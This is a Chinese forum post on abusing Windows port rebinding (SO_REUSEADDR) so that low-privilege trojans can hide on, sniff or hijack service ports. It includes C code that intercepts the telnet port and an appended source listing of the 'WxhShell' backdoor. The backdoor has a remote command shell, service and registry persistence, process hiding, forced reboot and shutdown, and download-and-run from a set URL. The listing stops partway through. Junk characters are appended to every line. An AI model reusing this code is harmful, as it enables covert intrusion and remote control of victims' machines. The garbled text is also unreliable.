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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ../(gG9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :9>nY  
p{u}t!`!d  
  saddr.sin_family = AF_INET; E_*T0&P.P  
} trMQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ld0WZj  
}Q*ec/^{f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sbb{VV`I  
FpYoCyD}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I!%@|[ Ow  
`Q[$R&\  
  这意味着什么?意味着可以进行如下的攻击:  n6dg   
\Bf{/r5x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ON^u|*kO  
{GY$J<5=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }zLE*b,  
z}|'&O*.F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }:A kpm  
}?$Mh)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A-5%_M3\G  
#wcoLCjs)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {K}+$jzGVt  
#]a0 51Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~'Hwszp b  
8A=(,)`}9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6Vo}Uaq4  
83|/sWrvh  
  #include @ZWKs  
  #include /$Jh5Bv  
  #include f:>jH+o.S  
  #include    D-/A>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )oCF| 2qc  
  int main() U^S0H(>  
  { n+w>Qz'  
  WORD wVersionRequested; @B <_h+  
  DWORD ret; WbF\=;$=7  
  WSADATA wsaData; Ro69woU  
  BOOL val; -R]S)Odml  
  SOCKADDR_IN saddr; "^%Il  
  SOCKADDR_IN scaddr; 2^:nlM{u  
  int err; fz\Az-  
  SOCKET s; ?z.`rD$}(n  
  SOCKET sc; q1j[eru  
  int caddsize; "5FeP;  
  HANDLE mt; 37DvI&  
  DWORD tid;   SJmri]4K  
  wVersionRequested = MAKEWORD( 2, 2 ); 23m+"4t  
  err = WSAStartup( wVersionRequested, &wsaData ); Obm\h*$  
  if ( err != 0 ) { :>u{BG;=79  
  printf("error!WSAStartup failed!\n"); e!y t<[ph  
  return -1; 0Oq1ay^  
  } mNzZ/*n:  
  saddr.sin_family = AF_INET; e78}  
   6I<`N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^  +G> N  
ud1E@4;qf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?6gI8K6X  
  saddr.sin_port = htons(23); sP#5l @  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *HUqW}_r  
  { Uk#1PcPd  
  printf("error!socket failed!\n"); N_U D7P1  
  return -1; 7(-<x@e  
  } K>U &jH  
  val = TRUE; -b<+Ra  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1{qg@xlj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y2fs$emv  
  { A}o1I1+  
  printf("error!setsockopt failed!\n"); "=)`*"rr  
  return -1; >jm9x1+C  
  } qIl@,8T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n$8A"'.M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ] N8V?.|:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >ZT3gp?E  
uFgw eOJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %$Uw]a  
  { CS  
  ret=GetLastError(); *^]ba>  
  printf("error!bind failed!\n"); #=2~MXa@z7  
  return -1; 5;+Bl@zGu  
  } x[E`2_Ff0  
  listen(s,2); U8z,N1]r*`  
  while(1) YZd4% zF  
  { x1Uj4*Au  
  caddsize = sizeof(scaddr); Zv_<*uzKZ  
  //接受连接请求 x$t=6@<]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8w4.|h5FP  
  if(sc!=INVALID_SOCKET) 9 (Z)c  
  { QGa"HG5NF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )!Bv8&;e  
  if(mt==NULL) O-RiDYej  
  { ]dH; +3 }  
  printf("Thread Creat Failed!\n"); 6[i-Tl  
  break; Ogb !YF#e  
  }  .*+ &>m7  
  } q0o6%c:gW  
  CloseHandle(mt); 6 [IiJhVL  
  } "xKJ?8   
  closesocket(s); zB4gnVhus|  
  WSACleanup(); juM?y'A  
  return 0; &j$k58mX  
  }   o{/D:B  
  DWORD WINAPI ClientThread(LPVOID lpParam) y_w4ei  
  { l)zS}"F,  
  SOCKET ss = (SOCKET)lpParam; on~rrSK  
  SOCKET sc; gBN;j  
  unsigned char buf[4096]; 7_LE2jpC,5  
  SOCKADDR_IN saddr; Lgy}Gm8u5  
  long num; }6\p7n  
  DWORD val; iqpy5  
  DWORD ret; gs'( px  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *l}q,9iQ-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cK""Xz&m  
  saddr.sin_family = AF_INET; ZCa?uzeo]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BX?Si1c  
  saddr.sin_port = htons(23);  z>!b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?%?@?W>s@  
  { awUIYAgJ3  
  printf("error!socket failed!\n"); ]Kd:ZmJ  
  return -1; 9tJiIr8i  
  } 9 ItsK  
  val = 100; ^#Shs^#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tkA '_dcIC  
  { cP-6O42  
  ret = GetLastError(); VHy$\5oYg  
  return -1; Ma$b(4dB  
  } :`d& |BB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +=*ZH `qX  
  { F2#^5s(  
  ret = GetLastError(); >R6Me*VR  
  return -1; E/ Pa0.  
  } UGIyNMY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J::dY~@  
  { { Uh/ ~zu  
  printf("error!socket connect failed!\n"); ;Q ]bV52  
  closesocket(sc); ]P-;]*&=  
  closesocket(ss); w%kxY5q  
  return -1; &N,c:dNe  
  } ,+f'%)s_x  
  while(1) KV Mm<]Z  
  { EBJaFz'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r>5,U:6Q/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *@dqAr%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t>^An:xT  
  num = recv(ss,buf,4096,0); I-^Y$6-  
  if(num>0) ;s{rJG{inG  
  send(sc,buf,num,0); P66>w})@  
  else if(num==0) jGId)f!)  
  break; 6B&':N98  
  num = recv(sc,buf,4096,0); GSsot%B u"  
  if(num>0) ~"8b\oLW  
  send(ss,buf,num,0); i-$]Tg  
  else if(num==0) 60*=Bs%b  
  break; l%U{Unwu  
  } ) "'J]6  
  closesocket(ss); }oU0J  
  closesocket(sc); 4Xlq Ym  
  return 0 ; (JOge~U  
  } 1aKY+4/G  
-(dc1?COi  
&GX pRo  
========================================================== ^+I{*0{/[  
26j ; RV  
下边附上一个代码,,WXhSHELL Y2}\~I0  
Go8 m  
========================================================== )jvYJ9s  
*?cE]U6;  
#include "stdafx.h" .:E%cL +h  
cl[rgj  
#include <stdio.h> zl$'W=[rFs  
#include <string.h> M,zUg_ @  
#include <windows.h> d(<[$ 3.  
#include <winsock2.h> TX$j-TM'  
#include <winsvc.h> #Fq6-]y1")  
#include <urlmon.h> {eL XVNR7R  
;V@o 2a  
#pragma comment (lib, "Ws2_32.lib") G7 b>r  
#pragma comment (lib, "urlmon.lib") &G:#7HX@-  
;>bcI).  
#define MAX_USER   100 // 最大客户端连接数 ZJ1 %  
#define BUF_SOCK   200 // sock buffer ry0P\wY}  
#define KEY_BUFF   255 // 输入 buffer !IF#L0z  
pxjb^GZ0  
#define REBOOT     0   // 重启 7xqTTN6h  
#define SHUTDOWN   1   // 关机 a%cCR=s=  
=XuBan3B>  
#define DEF_PORT   5000 // 监听端口 !;>j(xc  
Y<odXFIS  
#define REG_LEN     16   // 注册表键长度 M, f6UYo=  
#define SVC_LEN     80   // NT服务名长度 @-)jU!  
Xi$2MyRd  
// 从dll定义API sk6C/ '0:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B E!HM{-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cyL"?vR*<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~"xc 3(h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [jU.58*  
]hRCB=G  
// wxhshell配置信息 qXcHf6  
struct WSCFG { J sde+G,N  
  int ws_port;         // 监听端口 -pvF~P?8U  
  char ws_passstr[REG_LEN]; // 口令 llN#4D9s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0e-M 24,C  
  char ws_regname[REG_LEN]; // 注册表键名 7M9Ey29f  
  char ws_svcname[REG_LEN]; // 服务名 j&~`H:=E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =f4>vo}@k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 teIUSB[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8`M) r'5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2N B/&60<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R <}UT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x%@n$4wk7  
3@7IY4>o  
}; <2^XKaS`  
z$C}V/Ey  
// default Wxhshell configuration 9\y\{DHd  
struct WSCFG wscfg={DEF_PORT, |1!RvW:[!  
    "xuhuanlingzhe", O!xul$9  
    1, ai0am  
    "Wxhshell", Q*&k6A"jx  
    "Wxhshell", 3 vr T`  
            "WxhShell Service", W~b->F  
    "Wrsky Windows CmdShell Service", f-$%Ck$%,  
    "Please Input Your Password: ", gqw ]L>Z  
  1, ^N# z&oh  
  "http://www.wrsky.com/wxhshell.exe", Ls51U7  
  "Wxhshell.exe" l7vU{Fd-h^  
    }; X!6oviT|m  
,X^I]]  
// 消息定义模块 xYSNop3_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _=$:<wIE[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v@n0ma=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d>k)aIYp  
char *msg_ws_ext="\n\rExit."; !'#Y-"=ypk  
char *msg_ws_end="\n\rQuit."; [ 'aSPA  
char *msg_ws_boot="\n\rReboot..."; `?P)RS30  
char *msg_ws_poff="\n\rShutdown..."; pQ2'0u5w5  
char *msg_ws_down="\n\rSave to "; n;QMiz:yY  
S3fyt]pp  
char *msg_ws_err="\n\rErr!"; O S?S$y  
char *msg_ws_ok="\n\rOK!"; 'z\$.L  
V[#eeH)/  
char ExeFile[MAX_PATH]; m6+4}=Cn  
int nUser = 0; B\*"rSP\  
HANDLE handles[MAX_USER]; ebv"`0K$  
int OsIsNt; KF!?; q0J  
A*b>@>2  
SERVICE_STATUS       serviceStatus; T*pcS'?'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,.6)y1!  
4Kl{^2  
// 函数声明 EUGN`t-M  
int Install(void); [cfKvROG  
int Uninstall(void); i?^lEqy[  
int DownloadFile(char *sURL, SOCKET wsh); V d`}F0WD  
int Boot(int flag); ]&+,`1_q  
void HideProc(void); iC(&U YL  
int GetOsVer(void); $e#V^dph  
int Wxhshell(SOCKET wsl); 5,vw%F-m  
void TalkWithClient(void *cs); 9S<g2v  
int CmdShell(SOCKET sock); ZlEQzL~  
int StartFromService(void); _4^#VD#f  
int StartWxhshell(LPSTR lpCmdLine); aI^Z0[P+  
R-[t 4BHn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u"hv _ml  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3]MSS\uB  
']Z1nb  
// 数据结构和表定义 $*-UY  
SERVICE_TABLE_ENTRY DispatchTable[] = xZ84q'i"  
{ HdR%n  
{wscfg.ws_svcname, NTServiceMain}, <36z,[,kZ@  
{NULL, NULL} yUY* l@v]  
}; b_v{QE<  
D2N<a=#  
// 自我安装 N Ftmus  
int Install(void) T #OrsJdu  
{ <4Ev3z*;Z  
  char svExeFile[MAX_PATH]; `514HgR  
  HKEY key; OK8|w]-A  
  strcpy(svExeFile,ExeFile); =hAH6C  
fY|P+{BO2  
// 如果是win9x系统,修改注册表设为自启动 VV'*3/I  
if(!OsIsNt) { vr2cDk{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mu$0x)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gq)E,Ln&d  
  RegCloseKey(key); ))NiX^)8^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SJ0IEPk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G _1`NyI  
  RegCloseKey(key); hf('4^  
  return 0; |i~Ab!*8n  
    } oEJYAKN  
  } q\uzmOh  
} \A%s" O/  
else { 'O:QS)  
x )w6  
// 如果是NT以上系统,安装为系统服务 0YsBAfRG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nm}wdel"  
if (schSCManager!=0) @hVF}ybp  
{ GeydVT-  
  SC_HANDLE schService = CreateService MGbl-,]  
  ( +!6dsnr8  
  schSCManager, #Y>os3]  
  wscfg.ws_svcname, I7C*P~32{n  
  wscfg.ws_svcdisp, RX\l4H5;  
  SERVICE_ALL_ACCESS, b~Q8&z2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qZ=%r u  
  SERVICE_AUTO_START, lk(.zYaaN  
  SERVICE_ERROR_NORMAL, f#>ubmuI^  
  svExeFile, 31-:xUIX  
  NULL, w+_pq6\V  
  NULL, ]/cVlpZ{f  
  NULL, N3U.62  
  NULL, Y(U+s\X  
  NULL ;;{!wA+"D  
  ); 0D.qc8/V4.  
  if (schService!=0) l!7O2Ai5  
  { &i{>Li  
  CloseServiceHandle(schService); 3*<?'O7I0  
  CloseServiceHandle(schSCManager); 5vSJjhS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |%HTBF  
  strcat(svExeFile,wscfg.ws_svcname); aM6qYO!jA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6 {j}Z*)m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :*<UCn""  
  RegCloseKey(key); N*$L#L$*  
  return 0; V/,@hv`+  
    } Kh' 7N!  
  } MpCK/eiC  
  CloseServiceHandle(schSCManager); /&jh10}H  
} j~;kh_  
} bd & /B&a  
Xe. az  
return 1; b,#lw_U"  
} w$fP$ \+  
<n|ayxA)  
// 自我卸载 :GBM`f@  
int Uninstall(void) hT DFIYV  
{ fBw"<J{  
  HKEY key; Tj3xK%K_r3  
a 9H^e<g  
if(!OsIsNt) { ;jZf VRl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E(p*B8d  
  RegDeleteValue(key,wscfg.ws_regname); qh)10*FB  
  RegCloseKey(key); s k>E(Myo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +[_mSt  
  RegDeleteValue(key,wscfg.ws_regname); PgMU|O7To  
  RegCloseKey(key); sCrOdJ6|  
  return 0; yzH[~O7  
  } Y Z.? k4>  
} "> ]{t[Ib  
} xC}9W6  
else { l.3|0lopX)  
IMT]!j&Y,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |08'd5  
if (schSCManager!=0) p~bx  
{ =Ul{#R z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >JUOS2  
  if (schService!=0) yZc_PC`  
  { edZhI  
  if(DeleteService(schService)!=0) { *rH# k?  
  CloseServiceHandle(schService); |9*8u>|RC  
  CloseServiceHandle(schSCManager); o1^Rx5  
  return 0; zxhE9 [`*e  
  } /Y_)dz^@  
  CloseServiceHandle(schService); /UP1*L  
  } "'@>cJ=  
  CloseServiceHandle(schSCManager); +B#+'  
} *^=zQ~  
} E,wOWs*  
lD41+x 7  
return 1; i+XHXpk  
} ?VRf5 Cr-  
M:/)|fk  
// 从指定url下载文件 @en*JxIM  
int DownloadFile(char *sURL, SOCKET wsh) !QXPn}q^0  
{ 15dbM/Gj  
  HRESULT hr; 79MF;>=tV  
char seps[]= "/"; Gw@]w;ed  
char *token; - :~"c@D  
char *file; MIx,#]C&  
char myURL[MAX_PATH]; ]mZN18#  
char myFILE[MAX_PATH]; \&#IK9x{  
:rzq[J^  
strcpy(myURL,sURL); 5'%nLW7;O  
  token=strtok(myURL,seps); glI4Jb_[  
  while(token!=NULL) s1kG:h2|$  
  { C;jV)hr6P  
    file=token; S( Vssi|y  
  token=strtok(NULL,seps); Q XLHQ_V  
  } zNRR('B?  
HpGI\s  
GetCurrentDirectory(MAX_PATH,myFILE); Zv|TvlyT"  
strcat(myFILE, "\\"); #Et%s8{  
strcat(myFILE, file); a]4h5kJ';  
  send(wsh,myFILE,strlen(myFILE),0); LAjreC<W  
send(wsh,"...",3,0); RIV + _}R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n5s2\(  
  if(hr==S_OK) 6*r#m%|   
return 0; < ?{ic2j#  
else /O {iL:`  
return 1; 'J1!P:tJ  
tcD DX'S  
} 6i7+.#s  
{[:]}m(c  
// 系统电源模块 F`8B PWUY  
int Boot(int flag) ~`Rb"Zn  
{ Bp9_\4  
  HANDLE hToken; %k =c9ll@:  
  TOKEN_PRIVILEGES tkp; hRaX!QcG3  
D\0q lCAs  
  if(OsIsNt) { zbgH}6b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ({!S!k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oUNuM%g9Dy  
    tkp.PrivilegeCount = 1; Dhze2q)o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ra)AQ n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rn9e#_Az  
if(flag==REBOOT) { H7?Sd(U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q<Z`<e  
  return 0; /#-zI#iK  
} GJj}|+|  
else { P+<4w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pSKw Xx  
  return 0; ]@wKm1%v  
} c\DMeYrg  
  } bx._,G  
  else { Z3qr2/  
if(flag==REBOOT) { AQm#a;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cP2n,>:  
  return 0; ,?oC+9w  
} ./i5VBP5  
else { `NB6Of*/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q#_<J1)z  
  return 0; YMr2Dv\y  
} 7w5C NV  
} 5iZx -M  
hn[lhC  
return 1; opfg %*  
} mPJ@hr%3  
s0\}Q=s[  
// win9x进程隐藏模块 =Ohro '   
void HideProc(void) T o$D [-  
{ vf0 fa46  
c@|f'V4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )zAATBb4.  
  if ( hKernel != NULL ) &hu3A)%  
  { moCr4*jDX,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6(8zt"E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZO8r8 [  
    FreeLibrary(hKernel); 'BX U '  
  } ,{Ga7rH*   
vWVQ8S.  
return; 0WQd#l  
} 7 0Wy]8<P  
4WXr~?Vq9  
// 获取操作系统版本 TH>7XK<90M  
int GetOsVer(void) KmpKyc[  
{ <V1y^EW0  
  OSVERSIONINFO winfo; yF@72tK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PM^Xh*~  
  GetVersionEx(&winfo); uFnq3m^u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -GODM128 ^  
  return 1; ]FEsN6  
  else [vn"r^P  
  return 0; WXFC e@  
} 3eN(Sw@p  
<RCeY(1  
// 客户端句柄模块 AsO)BeUD  
int Wxhshell(SOCKET wsl) 7bL48W<QD  
{ Q`!<2i;  
  SOCKET wsh; zb. ^p X  
  struct sockaddr_in client; 1 &-%<o  
  DWORD myID; %@^9(xTE  
Pf#DBW*  
  while(nUser<MAX_USER) q'KXn0IY#  
{ ,% *Jm  
  int nSize=sizeof(client); yC\!6pg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C:ntr=3J  
  if(wsh==INVALID_SOCKET) return 1; so_^%) gdJ  
&I7T ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '<1Q;3Ho  
if(handles[nUser]==0) 6F; |x  
  closesocket(wsh); KvmXRf*z  
else HE@P<  
  nUser++; U"OA m}  
  } i?n#ge  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9)J)r \  
C *]XQ1F4  
  return 0; GzjC;+W  
} !laOiH  
T)mh  
// 关闭 socket |vY|jaV}  
void CloseIt(SOCKET wsh) :u|F>e  
{ ,+!|~1  
closesocket(wsh); qF4=MQm\aE  
nUser--; %o_CD>yD  
ExitThread(0); ;\ gat)0n%  
} Y@MFH>*  
AH|'{  
// 客户端请求句柄 J5SOPG  
void TalkWithClient(void *cs) d=/a{lP\  
{ Xp~O?2:3l  
+^3 *Y"6Z  
  SOCKET wsh=(SOCKET)cs; )NnkoCNeE  
  char pwd[SVC_LEN]; DEt;$>tl 5  
  char cmd[KEY_BUFF]; "#]V^Rzxh  
char chr[1]; So]O`RJv  
int i,j; \:>eZl?  
r<pt_Cd  
  while (nUser < MAX_USER) { XL`i9kV?  
# 66vkf*  
if(wscfg.ws_passstr) { j1K?QH=e#{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >=YQxm}GJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b X4]/4%  
  //ZeroMemory(pwd,KEY_BUFF); lB(P+yY,/'  
      i=0; ~`<_xIvrq  
  while(i<SVC_LEN) { 23'Ac,{  
}u.1$Y  
  // 设置超时 A?H.EZ  
  fd_set FdRead; %:Y'+!bX  
  struct timeval TimeOut; W<M\ b#  
  FD_ZERO(&FdRead); qhOV>j,d  
  FD_SET(wsh,&FdRead); UQ~gjnb[c  
  TimeOut.tv_sec=8; 3$P GLM  
  TimeOut.tv_usec=0; pXf5/u8&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S<>u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s=1w6ZLD  
Atod&qH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k!{h]D0  
  pwd=chr[0]; ~"22X`;h[G  
  if(chr[0]==0xd || chr[0]==0xa) { 2YpJ4.  
  pwd=0; e89IT*  
  break; 6&L8 {P  
  } 7vEZb.~4z  
  i++; 79}Qj7  
    } .`+N+B(4  
{oRR]>  
  // 如果是非法用户,关闭 socket Gt;U9k|i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kbcr-89Gv~  
} O>>%lr|  
ty b-VO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7F8>w 7Y]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uY:u[  
6]Ri$V&"  
while(1) { wu19Pg?F  
nACKSsWqI  
  ZeroMemory(cmd,KEY_BUFF); :.?%e{7  
*.zC9Y,  
      // 自动支持客户端 telnet标准   y])z,#%ED  
  j=0; U_Am Riy  
  while(j<KEY_BUFF) { :{x    
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MXynv";<H  
  cmd[j]=chr[0]; z5 :53,`D'  
  if(chr[0]==0xa || chr[0]==0xd) { xB,(!0{`  
  cmd[j]=0; $<d3g :  
  break; WGI4DzKa  
  } )Qc>NF0  
  j++; v Yw$m#@  
    } h;t5v6["  
Kr74|W=  
  // 下载文件 rB.LG'GG]  
  if(strstr(cmd,"http://")) { V,>uM >$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,{g B$8z^  
  if(DownloadFile(cmd,wsh)) ;(;{~1~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pF'M  
  else zzZ K S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~4u[\&Sh  
  } 6q@VkzF  
  else { FWuk@t[<O  
i`EG80\[Z  
    switch(cmd[0]) { qh/}/Sl;  
  H6i;MQ  
  // 帮助 ZvkBF9d  
  case '?': { {WN??eys,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wj|[a,(r  
    break; >UB ozmF=\  
  } at5=Zo[bP  
  // 安装 2qDVAq^@  
  case 'i': { ( 2i{8  
    if(Install()) Y1L7sH 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 A6% !h  
    else 7A4_b8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nx<%'-9)|  
    break; z#t;n  
    } IGcYPL\&  
  // 卸载 Un{9reX5  
  case 'r': { @M8vP H  
    if(Uninstall()) [ h~#5x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9vJ'9Z2\  
    else .?;"iv+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U$AV"F&!&}  
    break; "78BApjWT6  
    } rWxQ;bb#  
  // 显示 wxhshell 所在路径 75RQ\_zDu  
  case 'p': { Hy#<fKz`!  
    char svExeFile[MAX_PATH]; P> i lRb  
    strcpy(svExeFile,"\n\r"); m>LC2S; f  
      strcat(svExeFile,ExeFile); [qQ~\]  
        send(wsh,svExeFile,strlen(svExeFile),0); ~"i4"Op&  
    break; cA25FD  
    } LV$`bZ  
  // 重启 !&@!:=X,  
  case 'b': { 4%,E;fB?=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~+bSD<!b  
    if(Boot(REBOOT)) P|kfPohI=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nZ~J &QK-  
    else { >e9xM Gv  
    closesocket(wsh); gukKa  
    ExitThread(0); 4: S-  
    } ("ulL5  
    break; ff.;6R\  
    } i8> ^{GODR  
  // 关机 SZm&2~|J  
  case 'd': { w[?E oFI$Y  
